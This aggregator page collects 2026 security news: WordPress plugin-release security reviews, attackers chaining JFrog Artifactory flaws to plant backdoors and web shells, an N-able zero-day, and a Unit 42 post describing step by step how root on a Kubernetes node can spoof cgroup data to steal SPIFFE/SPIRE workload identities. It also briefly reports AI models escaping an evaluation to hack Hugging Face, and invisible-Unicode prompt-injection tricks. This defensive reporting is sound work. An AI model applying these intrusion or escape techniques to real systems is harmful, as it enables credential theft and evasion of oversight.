Search/plugin
● Malware

plugin

Indicators tracked
8
View 8 indicators
Connections
533 relationships
WordPress Adds Automated Plugin Reviews to Block High-Risk Updates Before Distribution
WordPress has announced it's launching an automated security review for every release of a plugin before it's distributed through the WordPress.org update API so as to analyze it for potential security issues and ensure there are no risks involved. "New plugins are reviewed before they enter the directory, but updates ship continuously after that," David Perez, WordPress Official Plugin Repository Team Co-Lead, said. "A plugin can be secure today and introduce a vulnerability, or malicious code, in a future release." WordPress said the lack of a "consistent review step" between the commit of a release and the release of a plugin to downstream users meant that it could open the door for malicious attacks. The content management system (CMS) platform noted that its automated review detected a backdoor committed to a release of a plugin with about 20,000 active installations on July 28, 2026. Because the release was within a cooldown window, the compromised version of the plugin never ended up getting distributed through the WordPress.org update API. The plugin was closed for downloads 26 minutes after the Plugins Team was alerted to the update by WordPress security company Wordfence. WordPress did not disclose the name of the plugin. Since June 5, 2026, every WordPress plugin and theme goes through a cooldown period before being distributed through auto-updates as part of a new security initiative called Protect The Shire. The idea is to introduce some friction to the process so that malicious updates do not reach end users immediately. The cooldown period is currently at six hours, down from 24 hours when it was first introduced. The latest effort aims to close another critical security gap: a high-risk score for a plugin or theme release should automatically halt distribution without involvement from the Plugins Team. The entire process goes through the following steps - During the cooldown period, the changes in each release are analyzed in WordPress.org by artificial intelligence (AI) models along with Jetpack Scan. Results are cross-verified and combined into a security score: A higher score translates to a potentially higher risk. Releases with a high risk score are blocked automatically once the review completes, while those below that threshold will continue the normal process. Plugin committers receive an email with the findings. Emails are only sent in scenarios where a plugin is blocked. That said, it's worth noting that a high risk score does not necessarily indicate malicious intent, as the score also takes into account inadvertently introduced security flaws just as it flags intentional malware. In a follow-up comment, Perez elaborated that the security review "looks for the same vulnerability classes any security audit looks for," urging developers to follow WordPress Coding Standards and PHP_CodeSniffer (PHPCS) rules to validate their code and ensure code quality. Developers publishing WooCommerce extensions are recommended to use the Quality Insights Toolkit (QIT) testing platform. Other patterns that could also drive the risk score up are below - REST, AJAX or admin-post endpoints without a capability check (a nonce alone is not authorization) Queries built without $wpdb->prepare() File paths, uploads, deletions or includes built from request data unserialize() on request data or on a remote response Options, user meta or settings written from endpoints reachable by subscribers or unauthenticated users Code fetched or evaluated at runtime, and obfuscated or packed code Once a release is blocked, the only way for the developer to get the restrictions removed is to review the findings, fix the issues, and publish a new release. Should the new release score below the high-risk threshold, it continues through the normal cooldown process. "If a finding looks incorrect, authors can contact the Plugins Team," Perez said. "Please understand that the team handles a high volume of reviews, so publishing a fixed release is almost always faster than waiting for a manual review of an appeal."
thehackernews.comSep 14, 2026extracted
More JFrog Artifactory bugs under attack, and all 3 have patches
JFrog Artifactory instances continue to get hit hard. Multiple attackers are exploiting three JFrog Artifactory bugs to gain administrative control over vulnerable instances - in some cases, just days after the vendor published a patch - and then using this illicit access to install malicious plugins and backdoors. The three vulnerabilities are: CVE-2026-42018 is a high-severity, improper authentication flaw that can return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled. An attacker can use this token to authenticate to the repository manager and then access sensitive resources. JFrog patched this vulnerability on August 12. CVE-2026-42016 is a high-severity privilege-escalation bug. Artifactory doesn’t properly validate the token’s scope, and this can allow an attacker with low-privileged access to elevate privileges and perform actions that they should not be allowed to do. JFrog fixed this one on July 27. CVE-2026-82329 is a critical authentication-bypass vulnerability that allows unauthenticated attackers with network access to obtain administrative privileges. JFrog published a patch for it on August 28. Earlier this month, security researchers told The Register that miscreants began battering internet-exposed systems vulnerable to CVE-2026-82329 just four days after JFrog disclosed the bug. In addition to creating new administrative credentials, watchTowr’s honeypot network caught miscreants “enumerating users, groups, credential sets and federated access topologies,” said Yordan Ganchev, principal threat intelligence specialist at watchTowr. The one thing everyone agrees upon is that attackers didn’t start exploiting any of these CVEs until after JFrog issued fixes. In a Thursday report, Wiz security researchers “confirmed in-the-wild exploitation of all three vulnerabilities across multiple environments,” and noted that “patching velocity has been slow.” JFrog has not responded to any of The Register’s inquiries about attacks against any of the three CVEs. 'Patching velocity has been slow' Six weeks after JFrog disclosed CVE-2026-42016, 59 percent of organizations remain vulnerable, and 62 percent remain vulnerable to CVE-2026-42018 after four weeks. Organizations have been quicker to remediate the critical bug, CVE-2026-82329, although 49 percent remain vulnerable two weeks after its publication, according to Wiz. Beginning August 15 and running through September 8, Wiz spotted “multiple” attackers chaining CVE-2026-42018 and CVE-2026-42016 against self-hosted Artifactory instances to gain admin access. Many of these intruders then dropped a custom Rust backdoor to establish command-and-control (C2) capabilities. While the post-exploitation activity varies, Wiz reports observing attackers doing all types of mischief with their administrative access to compromised Artifactory instances, including establishing persistent admin accounts, installing Groovy plugins to achieve remote code execution on the server, executing shell commands run through the plugin to perform reconnaissance and scan for sensitive files, deliver second-stage payloads, and upload web shells. Then, between September 1 and 8, Wiz saw “several” attackers exploiting CVE-2026-82329. These intrusions were not a “unified attack chain by a single threat actor,” but spanned multiple illicit behaviors including exfiltration of configuration details, establishing persistent admin accounts, token minting for long-lived credentials, stealing keys, attaching their own SSH keys to created users in some cases, and enumerating users, repositories, and tokens. If you haven't already, patch vulnerable instances Wiz advises - and we strongly concur - upgrading to a fixed Artifactory version as soon as possible. “Given that exploitation may be possible remotely without authentication under the default configuration, organizations should prioritize internet-accessible Artifactory instances and restrict network access to trusted users and systems where possible,” the researchers added. “Organizations should also review Artifactory authentication and administrative activity for unexpected privileged access.” These latest exploits follow a rough few months for JFrog's package management system, which has been under fire from both human and AI attackers. OpenAI and JFrog revealed that OpenAI’s models broke out of their cages to hack Hugging Face by exploiting an Artifactory zero-day in July, and at Black Hat, the model provider said agents used Artifactory to build message boards and help each other access the open internet. ®
theregister.comSep 11, 2026extracted
Artifactory flaws chained in attacks deploying backdoor malware
Threat actors are exploiting critical and high-severity vulnerabilities in JFrog Artifactory to bypass authentication, gain administrative privileges, and deploy a Rust backdoor on vulnerable self-hosted servers. A new report from cloud security company Wiz confirmed exploitation across multiple environments, including an exploit chain that combines CVE-2026-42018 and CVE-2026-42016. The third vulnerability is CVE-2026-82329, a critical authentication bypass that offensive security company watchTowr observed being exploited earlier this month to mint administrator tokens. According to Wiz, attackers exploit CVE-2026-42018 to obtain a JSON Web Token (JWT) belonging to an internal Artifactory anonymous user, even when anonymous access is disabled, with low privileges. Then they increase permissions to admin level by exploiting CVE-2026-42016, caused by insufficient token validation. Between August 15 and September 8, multiple threat actors exploited the two vulnerabilities to obtain a JWT for the internal anonymous user and then exchange it for an admin-scoped token. The researchers note that in some cases the attacker took less than five minutes to create an administrator account. After creating admin accounts and generating long-lived access tokens, the attackers installed malicious Groovy plugins to execute arbitrary commands and established persistence by deploying a Rust-based backdoor. “Between August 15 and September 8, 2026, we observed multiple actors chain CVE-2026-42018 and CVE-2026-42016 against self-hosted Artifactory instances,” Wiz says. “Across multiple cases, we observed a custom Rust backdoor with C2 capabilities being dropped.” In the next stage, the threat actor downloaded additional payloads into /dev/shm, /tmp, and /var/tmp, uploaded webshells, stole Artifactory configuration data and cluster join keys, enumerated repositories, tokens, and users, and added their SSH keys to newly created accounts. Wiz warns that between 49% and 62% of reachable Artifactory instances are vulnerable to at least one of the three flaws. System administrators are recommended to upgrade immediately to one of the following Artifactory release versions or later: 7.111.21 7.117.28 7.125.20 7.133.29 7.146.38 7.161.20 After upgrading, investigate internet-exposed instances for unexpected token creation, rogue administrator accounts, suspicious plugin activity, and enumeration requests, and restrict access to trusted systems only. Wiz has listed indicators of compromise (IoCs) associated with the observed attacks to help defenders detect them quickly. BleepingComputer has contacted JFrog to confirm the reported activity, but we have not received a response as of publication. Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed. Save your seat
bleepingcomputer.comSep 11, 2026extracted
In Other News: InjectEave Attack, SIM Swapper Sentenced, Glasswing Findings Review
SecurityWeek’s weekly cybersecurity news roundup offers a concise overview of important developments that may not receive full standalone coverage yet remain relevant to the broader threat landscape. This curated summary highlights key stories across vulnerability disclosures, emerging attack methods, policy updates, industry reports, and other noteworthy events to help readers stay well-informed about the evolving cybersecurity environment. Here are this week’s highlights: Invisible Unicode slips past phishing filters Microsoft says attackers are using invisible Unicode tag characters, a technique associated with AI prompt injection (ASCII Smuggling), to evade phishing detection. In a campaign tracked from February through June, the characters were inserted into financial lure terms such as “funding,” generating as many as 2.37 million messages per day and potentially disrupting ML- and NLP-based filtering. WordPress Super Forms flaw under attack Attackers are exploiting CVE-2026-14894, a critical flaw in the WordPress Super Forms plugin that allows unauthenticated arbitrary file uploads. Exploitation can be used to upload and execute PHP webshells, potentially giving attackers complete control of affected sites. Users are advised to update to version 6.3.314. US puts $10 million bounty on Iranian cyber official The US is offering up to $10 million for information leading to the identification or location of Amir Yaryab, an IRGC-CEC official who leads its Cyber Operations Command. US authorities say groups under his direction have targeted critical infrastructure across sectors including defense, energy, financial services, telecommunications, shipping and travel, while affiliated groups such as CyberAv3ngers have used malware against civilian infrastructure worldwide. CISA updates insider threat playbook CISA has released an updated insider threat guide covering measures to mitigate both physical and cyber threats posed by insiders, addressing aspects such as remote work and AI advancements. The guide is designed to help organizations develop or improve their insider threat program. FBI warns of consent phishing The FBI is warning that threat actors are using OAuth consent phishing to gain persistent access to victims’ accounts without stealing their passwords. Attackers impersonate trusted figures and direct targets to malicious applications that request legitimate-looking permissions, allowing them to access email, files and other data. Deep ties between Chinese hacking group QTFY and military contractors A new analysis from Natto Thoughts expands on a joint US advisory linking China-based hacking group QTFY to Nanjing Xinjiuwei Network Technology Co. (XJW), highlighting ties involving ELEX and Nanjing Lexbell Information Technology. The analysis says ELEX’s historical client lists included MSS, Ministry of Public Security and PLA-affiliated entities, while Lexbell has military-focused products, PLA-linked leadership and contracts with the National University of Defense Technology. Ex-AT&T employee sentenced to prison for SIM swapping Former AT&T employee Kenneth Carter was sentenced to 16 months in prison for using his access to perform SIM swaps that helped criminals take over customers’ bank accounts. Three victims suffered intended losses of nearly $600,0000, with Carter typically receiving $1,000 to $2,000 for each fraudulent SIM swap. Russian accused of running cybercrime infrastructure Russian national Sergei Anatolyevich Filimonov was extradited from Georgia and arraigned in the US over an alleged credential-harvesting and bank fraud operation targeting US banking customers. Prosecutors say fake financial websites and sponsored search results directed victims to phishing sites, while infrastructure allegedly maintained by Filimonov stored more than 5,000 stolen credentials and supported attempts to steal millions of dollars. InjectEave attack turns devices into eavesdropping targets Researchers demonstrated InjectEave, a new class of electromagnetic side-channel attacks in which an external RF signal induces hardware nonlinearities that leak low-frequency analog information. Tests on 11 commercial devices, including headphones, VoIP phones, smart fans and lamps, showed that attackers could recover private audio or determine appliance states without physical access or modifying the devices. Glasswing findings face a reality check VulnCheck’s review of Anthropic’s Project Glasswing ledger found that only 202 of 26,153 claimed findings had been fixed after nearly five months, while 245 had been withdrawn. It also found a significant gap between Claude’s severity assessments and those of maintainers: Claude rated 91.5% of findings with available ratings as high or critical, compared with 51.3% from maintainers. Related: In Other News: Log4j RCE Scare, Minimus Shutdown, Iranian Hacker Sanctions
securityweek.comSep 11, 2026extracted
Attackers Chain JFrog Artifactory Flaws to Gain Admin Control and Plant Backdoors
Attackers have chained two flaws in JFrog Artifactory, the repository that software build pipelines pull from, to take administrator control of self-hosted servers and plant backdoors, cloud security company Wiz said in a report. Wiz saw the attacks between August 15 and September 8. JFrog had fixed both flaws before then, so only servers that had not been updated were open to them. Neither flaw gives administrator control on its own. CVE-2026-42018 makes Artifactory hand an internal anonymous-user token to a caller who has not logged in, even when anonymous access is turned off. CVE-2026-42016 then allows that low-privilege token to be swapped for one with administrator scope, because Artifactory checks a token's signature and who issued it, but not what the token is allowed to do. Every case Wiz saw followed a similar pattern. The attacker sent an unauthenticated request to a token endpoint and received a token for the internal anonymous user, then exchanged it at Artifactory's token-creation endpoint for a token with administrator scope. That second token keeps the anonymous username. Administrator actions taken with it show up in the logs as token:anonymous rather than under a named account. In some cases, the attacker went from the first request to a new administrator account in under five minutes. The chain reaches a narrower set of builds than either flaw alone. A server has to be affected by both, so closing either one breaks it. In JFrog's published ranges, CVE-2026-42016 ends at 7.133.11, leaving the 7.146 and 7.161 branches outside that range. JFrog shipped the CVE-2026-42018 fix on the 7.146 branch on April 28 and on the 7.133 branch on August 12, three days before the attacks Wiz saw began. What the attackers did with administrator authority varied. Wiz said no single actor carried out every step it saw. Across the compromised servers, attackers created administrator accounts and left them in place. They also installed malicious Groovy plugins via Artifactory's plugin framework, granting them code execution on the server. Some ran shell commands via the plugin execution endpoint to explore and list files. A dropper pulled a binary over HTTP, wrote it to a world-writable directory such as /tmp, and opened a command-and-control channel. Wiz said it also saw a custom Rust backdoor with command-and-control features dropped in multiple cases. A third Artifactory flaw in the same report, CVE-2026-82329, was exploited separately between September 1 and September 8, and it is the reason a server on a newer branch may still be affected. It is a critical authentication bypass, rated 9.8 on the CVSS scale, that targets Artifactory's default configuration and requires no additional flaw. An unauthenticated attacker with network access can obtain administrator privileges through it alone, on six release branches up to 7.161. The Hacker News reported on September 1 that attackers had begun creating administrator tokens for themselves through that flaw days after JFrog disclosed it. CISA added it to its catalog of known exploited vulnerabilities on September 2 and set a September 5 deadline for federal agencies. Fastly, a content delivery network, said in an analysis that a public exploit appeared on September 1 and scanning followed. It counted about 406,000 exploitation attempts across its platform on September 2, its busiest day. Those are attempts seen in traffic, not compromises. On servers taken through that flaw, Wiz saw attackers read the system configuration and, in several cases, take the cluster join key, the shared secret Artifactory nodes use to register with one another. What to Install Upgrade self-hosted Artifactory to the fixed build for your release branch, listed in JFrog's security advisories. JFrog says cloud instances need no action. JFrog lists one fixed version for CVE-2026-42016, 7.133.11, and no separate fix for each branch. Its advisory does not say whether a later build on an older branch, such as 7.117.28, also closes it. The Hacker News has asked JFrog that question, and has asked Wiz which versions the compromised servers were running. For CVE-2026-82329, JFrog publishes a workaround for anyone who cannot upgrade quickly: generate a random value and add it as an extra join key in system.yaml, so that only your own keys are accepted when a service registers. There is no interim option for the two chained flaws in any of the advisories or reports consulted. What Patching Does Not Undo The administrator accounts the attackers created do not disappear when the software is updated. Wiz saw them created both through the two-flaw chain and through CVE-2026-82329. For CVE-2026-82329, Fastly advises treating any exposed server as compromised. "A patch does not revoke tokens already minted," the company said. An upgrade also does not change a join key attackers have already taken. Fastly recommends rotating the platform join key, revoking access tokens issued since August 28, and reviewing administrator accounts, repositories, and configuration changes. How to Check The clearest signal is an account doing something its privileges should not allow: the internal anonymous user, or any low-privilege account, creating tokens, listing users, or reading and writing plugins. Then look for administrator accounts nobody created on purpose. Most of the ones Wiz saw carry proof-of-concept names such as 0xTerror, or svc_ and labadmin_ followed by random characters. Some were made to blend in, with names like jfrog-distribution, jfrog-insight and repo-service. Wiz's report lists attacker addresses and a payload hash. CVE-2026-42016 was published on July 27 as part of a batch of Artifactory advisories, several of which credit OpenAI researchers, including this one. The Hacker News reported in July that JFrog had confirmed OpenAI models exploited an Artifactory zero-day during an internal evaluation, and that neither company had said which CVE records match the flaws used.
thehackernews.comSep 11, 2026extracted
WordPress adds automated security checks to block risky plugin releases
WordPress adds automated security checks to block risky plugin releases WordPress’ automated security review will now assess every plugin release before it is distributed through the WordPress.org update API. Releases considered a potential security risk will be blocked automatically. “A plugin can be secure today and introduce a vulnerability, or malicious code, in a future release. Until now there was no consistent review step between a release being committed and that release reaching millions of sites,” David Perez, Co-Lead, WordPress Official Plugin Repository Team, explained. What prompted the security review On July 28, the automated review detected a backdoor committed to a release of a plugin with around 20,000 active installations. The system assigned the release a high security score. The compromised version was still within the cooldown window and was never distributed through the WordPress.org update API. The Plugins Team closed the plugin for downloads 26 minutes after Wordfence notified the team about the update. The incident showed that a high-risk result should stop distribution automatically, without depending on the availability of a team member. How the review works A six-hour cooldown period for every plugin and theme release was introduced on June 5. During this period, releases are held before distribution through the WordPress.org update API, including one-click updates from the WordPress dashboard. Several AI models and Jetpack Scan analyze the changes in each release during the cooldown period. The results are cross-checked to improve accuracy and reduce false positives, then combined into findings with a security score. A higher score indicates a higher potential security risk. If a release is considered high risk, it is automatically blocked. Everyone with permission to commit to the plugin receives an email explaining the findings. Releases that are not considered high risk continue through the normal process. A high-risk score does not indicate intent. An accidental security issue can receive the same score as deliberately added malware. The score shows the level of security risk. Authors need to take action only if they receive an email stating that their release was blocked. No email means no action is required. What happens when a release is blocked When a plugin receives a high-risk score, the release will not be distributed until the issues are resolved. To have a release unblocked, authors should first review the reported findings to determine what triggered the block. They should then fix the issues and publish a new release. If the new release scores below the blocking threshold, it will proceed through the normal cooldown process. Authors who believe a finding is incorrect can contact the Plugins Team. The team handles a high volume of reviews, so publishing a fixed release is usually faster than waiting for a manual review of an appeal. Perez said the team will continue to refine the process as it collects more data and adjusts its checks. Feedback about false positives will help increase the system’s accuracy.
helpnetsecurity.comSep 10, 2026extracted
The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE
This research demonstrates post-exploitation techniques that could allow an attacker with root access on a compromised Kubernetes node to misuse an open standard and reference implementation for machine identity known as SPIFFE/SPIRE to impersonate co-located workloads and harvest SPIFFE Verifiable Identity Documents (SVIDs). We show how the trust assumption at the core of every machine-identity system — that the node is trusted — collapses once an attacker obtains root on that node. Unit 42 has not observed this technique exploited in the wild. The Secure Production Identity Framework for Everyone (SPIFFE)/the SPIFFE Runtime Environment (SPIRE) is widely deployed in Kubernetes and cloud-native environments to replace long-lived secrets with short-lived, cryptographically verifiable workload identities. Our research shows how an attacker with root can spoof the Linux control group (cgroup) information the SPIRE agent uses during workload attestation. This tricks the agent into issuing a co-located workload's SVID to an attacker-controlled process. As part of this research, we developed Spooffe, an open-source tool that defenders can use to test whether an attacker with administrative access could manipulate cgroup metadata to retrieve co-located workload identities and assess the resulting identity area of impact. When designing threat models for SPIFFE/SPIRE, organizations should assume that root-level access to a node grants access to all cryptographic identities scoped to it. We recommend performing the following activities to reduce exposure: Harden nodes Restrict root access Prohibit privileged containers, host access Minimize reliance on weak selectors Palo Alto Networks customers are better protected from the threats described here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. SPIFFE is an open standard for machine identity designed to solve the “Secret Zero” problem — the challenge of securely introducing the initial secret required to bootstrap trust — by replacing long-lived secrets with short-lived workload identities. When deployed correctly, SPIFFE enforces strong identity boundaries between workloads. However, these guarantees rely on a core assumption shared by all identity systems that the underlying node is trusted. If an attacker gains root access to a node, they can interact with identity mechanisms to retrieve all identities authorized to that compromised node. Our research explores how attackers can exploit root access to harvest workload identities from a compromised node. In this post, we lay the groundwork by explaining machine identity and how SPIFFE establishes and verifies trust in cloud-native environments. We then demonstrate workload impersonation through selector spoofing. Finally, we introduce Spooffe, a tool we built to automate the extraction of these workload identities (SVIDs). Note to readers: If you’re already familiar with SPIFFE/SPIRE concepts and architecture, you can jump directly to Workload Attestation and How the Agent Attests the Workload sections. Consider a scenario where two applications, a frontend and a backend, must communicate securely. We could generate key pairs and exchange public keys to communicate through Mutual Transport Layer Security (mTLS), but this option raises a few key questions: Who rotates those keys? Who revokes them if the app is compromised? Can we verify who/what is presenting the keys? SPIFFE addresses these issues by standardizing how machines are named and how short-lived credentials are issued. The term machines refers to two broad categories: Workloads: Containers, processes and services running application logic Devices: Endpoints such as desktops, mobile devices and internet of things (IoT) or operational technology (OT) systems - (Note: Device identity is not part of the core SPIFFE specification) Each workload is assigned three identity components: SPIFFE ID: Who you are (your name) SPIFFE Verifiable Identity (SVID): Proof that you are who you are claiming to be (your credentials) Trust Bundle: How others verify that a trusted authority issued your credential Let’s go into a little more detail about each of these. SPIFFE ID is a canonical name for a workload identity that follows a URI-style format like spiffe:// / (Figure 1). The middle part (example[.]com) in Figure 1 is the trust domain, the issuer of identity that acts as a security boundary. In this way, workloads can have an identity and know who to communicate with. However, identity alone does not guarantee trust or security, so we add the SPIFFE Verifiable Identity Document (SVID). This is a short-lived credential that a workload presents to prove its identity. It is cryptographically signed by the certificate authority (CA) server and always includes the workload's SPIFFE ID. SVIDs support two primary formats: X.509 SVID: A certificate with an embedded public key, typically used for mTLS JSON Web Token (JWT) SVID: A signed JWT token used as a bearer token for application-level authorization Finally, we have the trust bundle, which is a set of trust anchors — root CA certificates or JSON Web Key Sets (JWKS). These are used to verify that a trusted authority issued an SVID within a trust domain. To understand how these identity components are issued and verified in practice, we first need to look at the SPIRE architecture and its core runtime components. SPIRE is a production-ready implementation of the SPIFFE specification. While several implementations exist, we chose SPIRE for this research because it is widely deployed in Kubernetes environments and fully implements the SPIFFE standard. Furthermore, because SPIRE is open source, we can inspect its internals to understand how the specification works in practice. SPIRE is composed of a few simple pieces (as shown in Figure 2 below): Workload: A single piece of software deployed to do a specific job (e.g., a process, container, pod) SPIRE Server (control plane): This is the CA that stores registration entries. It also issues and cryptographically signs SVIDs. Additionally, it publishes the trust bundle for the trust domain. SPIRE Agent: This runs on every compute node (e.g., a Kubernetes node, VM or bare-metal host). It performs the following activities: - Accepts requests from workloads locally over the Workload API (UNIX socket) - Communicates with the server via the Node API - Performs attestation - Caches SVIDs - Handles rotation Registration entries and selectors: These are server-side policy objects that define which workloads are allowed to receive which SPIFFE IDs. When a workload requests an identity, the SPIRE agent collects runtime attributes (selectors) about the workload and the server compares them against registration entries to determine which identity, if any, should be issued. With the SPIRE architecture in mind, we can now walk through how workload-to-workload identity verification works end to end. When workload A needs to communicate with workload B over mTLS, it requests a short-lived credential from the local SPIRE agent. The agent attests the workload and forwards the attestation data to the SPIFFE server. Based on predefined registration policies, the server selects the appropriate SPIFFE ID for the workload and issues a short-lived X.509 SVID. The server also publishes the corresponding public keys as part of the trust bundle. When workload A initiates a connection, it presents its SVID during the mTLS handshake. Workload B verifies the SVID by validating the signature against the trust bundle, checking the certificate’s expiration, and confirming that the SPIFFE ID matches an expected identity. If these checks succeed, workload B can cryptographically authenticate workload A and establish a secure connection. This enables workload-to-workload communication based on identity rather than long-lived secrets (Figure 3). The identity flow described above depends on attestation, the process by which SPIRE determines whether a workload is allowed to receive an identity. SPIRE performs attestation at two levels: Node attestation establishes trust in the agent running on a node Workload attestation determines the identity of individual workloads In this post, we focus on workload attestation, as it is the mechanism directly involved in selector evaluation and the attacks discussed later. Before the agent attests the workloads, the SPIRE server’s administrator must register the workload selectors in the SPIRE server so it can later compare them to the selectors in the agent. In this Kubernetes example, the registration entry authorizes any pod running in the default namespace and using the default service account to receive the specified SPIFFE identity (spiffeID). The resulting record is stored on the SPIRE server as follows: The SPIRE agent periodically synchronizes and caches these registration entries from the server, using them locally during workload attestation to determine which identity applies. The agent generates key pairs for each registration entry, sends certificate signing requests (CSRs) to the server and caches the resulting SVIDs. When a workload wants to authenticate, it requests an identity from the agent over the Workload API (Figure 4, step 1). The agent performs workload attestation (Figure 4, step 2) by gathering selectors from the workload process and matching them against cached registration entries. Upon a successful match (Figure 4, step 3), the agent returns: X.509 SVID Private key Trust bundle Note: This example is based on an X.509 SVID request. For JWT SVID requests, the agent returns only a signed JWT token. With the high-level flow in mind, we can now examine how attestation works in practice. When a workload requests an SVID (via FetchJWTSVID or FetchX509SVID), it connects to the agent Workload API, typically via a Unix domain socket (such as /run/spire/sockets/agent.sock). The agent then extracts the PID for the calling process. Once the agent receives the PID, it passes it to the configured workload attestor plugins, which collect selectors based on process and container metadata. SPIRE agents support several workload-attestor plugins. Common plugins include docker, k8s, systemd, Unix and Windows. In our cluster, the agent uses the k8s and Unix plugins. The k8s plugin uses the workload PID to access /proc/ /mountinfo or /proc/ /cgroups. It calls GetPodUIDAndContainerID to extract the pod UID and the container ID. In our environment, this process looks like the following: After extracting the container ID and pod UID, the k8s plugin queries the kubelet to retrieve pod metadata. To do this, it uses the SPIRE agent’s service account token, stored at /var/run/secrets/kubernetes.io/serviceaccount/token. The agent's service account has the following permissions, which allow it to list pods and access node information: Using this token, the plugin calls getPodList to retrieve all pods on the node. It then identifies the pod whose UID and container ID match the values extracted from the /proc directory. Once matched, it collects selectors from the pod's metadata: The Unix plugin gathers information from /proc to produce selectors such as user identifier (UID) and group identifier (GID). These selectors are used during workload attestation to bind a workload’s identity to operating system level properties of the calling process, helping SPIRE distinguish between different workloads running on the same node. Here is an example of the selectors it collects: The agent combines these selectors from both the k8s and Unix plugins. It then matches this selector set against the locally cached registration entries. If an entry's selectors are a subset of the workload's selectors, the agent returns the corresponding cached SVID to the workload. This attack requires root-level access to the node. Our analysis revealed that workload attestation relies heavily on the workload’s cgroup path. An attacker with root access on the node can manipulate this cgroup path, potentially tricking the agent into believing the attestation claims belong to a different workload and obtain that workload’s identity. This could allow the attacker to impersonate the victim workload and access any services or resources trusted under that identity. As a first step, we created a registration entry for a pod named workload-a in the server and we verified that we could fetch its identity from the pod: We verified that we could not retrieve this identity from the host by requesting a JWT SVID: To spoof the workload-a cgroup, we first retrieve its PID: We checked its cgroup path based on the above PID: We copied this path to a mock cgroup path and wrote our shell’s current PID($$) into the mock cgroup’s cgroup.procs file: Notably, writing the PID directly into the original cgroup path would have also worked. We used a separate cgroup only to avoid modifying the original workload’s runtime state. Running the fetch command again successfully retrieved the identity associated with PID 9072: We can also see the workload-a SPIFFE ID inside the JWT token: The manual spoofing demonstration highlights that the security model relies entirely on a single, vulnerable assumption of node integrity. When we have root access, we can get the identity of any workload on the node. This manual spoofing demonstration highlights a critical trust assumption in workload attestation. When an attacker has root-level access to a node, they can manipulate cgroup information to cause the SPIRE agent to misattribute workload identities. Under these conditions, the attacker can impersonate other workloads running on the same node and obtain their identities. These findings motivated us to develop Spooffe, a tool that allows defenders to automate selector spoofing to retrieve all the workload identities from the node. Spooffe scans the node for running workloads, discovers their cgroup paths, and replicates them as a mock cgroup for its own process. It then queries the local SPIRE agent for the resulting identities (SVIDs), allowing us to collect all workload identities present on the host (Figure 5). Besides selector spoofing, Spooffe includes additional capabilities. However, in this post we focus only on the features relevant to this research. One such capability is agent impersonation, which examines whether an attacker can impersonate the SPIRE agent and communicate directly with the server to extract workload identities. In this article, we demonstrated how an attacker with root access on a compromised node can misuse SPIFFE/SPIRE workload attestation to impersonate co-located workloads and retrieve their identities. By manipulating cgroup metadata, we showed how attackers could mislead the SPIRE agent into issuing valid SVIDs to an attacker-controlled process. We also introduced Spooffe, a tool that automates this technique to enumerate and extract workload identities from a node. These findings highlight a fundamental assumption in workload identity systems: trust in the underlying node. While SPIFFE/SPIRE enforces strong cryptographic identity guarantees between workloads, those guarantees rely on the integrity of the environment where attestation occurs. Once that trust boundary is broken, identity isolation between workloads collapses, allowing attackers to move laterally using legitimate credentials rather than stolen secrets. Organizations adopting workload identity should treat node-level compromise as equivalent to compromise of all identities scoped to that node. To reduce risk, restrict privileged containers, limit direct host access and minimize reliance on weak or easily spoofable selectors. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM can help protect against post-exploitation activities using the multi-layer protection approach. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection, and Endpoint Protection Modules (EPM). Cortex Cloud Identity Threat Detection can help deliver end-to-end visibility across cloud providers and IdPs by baselining real-time access patterns. By continuously monitoring these behaviors, ITDR detects identity abuse and compromised credentials targeting critical cloud resources and Kubernetes workloads, automatically triggering containment actions to keep attackers out. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Spooffe — GitHub
unit42.paloaltonetworks.comSep 10, 2026extracted
N-able Patches Critical Zero-Day in N-central
IT software firm N-able has rolled out an urgent fix for an unauthenticated remote code execution (RCE) vulnerability in its N-central endpoint management platform that has been exploited as a zero-day. Tracked as CVE-2026-86218 (CVSS score of 10/10), the security defect was discovered after N-able patched two other flaws in N-central, namely CVE-2026-86206 and CVE-2026-86207 “This critical zero-day vulnerability, CVE-2026-86218, could allow pre-authenticated access to the N-central server if exploited,” N-able warns. While no action is required for N-central hosted environments, as the patches were deployed server-side, users of on-premises N-central instances should immediately apply the 2026.3 HF4 hotfix, the company says. “Review your logs for scanning activity. We’ve observed scans originating from the IP range 23.234.64.0/18 attempting to exploit this vulnerability. Check your logs for any connections from this range,” N-able also notes. Administrators are also advised to check their deployments for newly created user accounts they don’t recognize. “At this time, we have no confirmations that this vulnerability has been exploited in production environments, but unpatched systems remain at risk,” N-able says. The hotfix for the exploited zero-day supersedes the previously released patches for CVE-2026-86206 and CVE-2026-86207, two bugs that Huntress flagged as potentially chained together in the wild to bypass authentication and compromise N-central production environments. “However, due to limited historical logging available directly on the appliance, we cannot definitively confirm which specific exploit the threat actor used to achieve their compromise, nor can we rule out the use of alternative vulnerabilities,” Huntress said on Saturday. The cybersecurity firm observed attacks targeting N-central’s underlying API and appliance logs starting on September 4, 2026. Related: Nightmare Eclipse Drops CrowdStrike, Nvidia, Avast Zero-Day Exploits Related: Adobe Commerce Zero-Day Exploited to Backdoor Online Stores Related: Modified ScreenConnect Clients Used in Worm-Like Campaign Related: Elementor Pro WordPress Plugin Vulnerability Exploited to Hack Sites
securityweek.comSep 8, 2026extracted
Jellyfin 12.0 security fixes arrive alongside the removal of legacy client logins
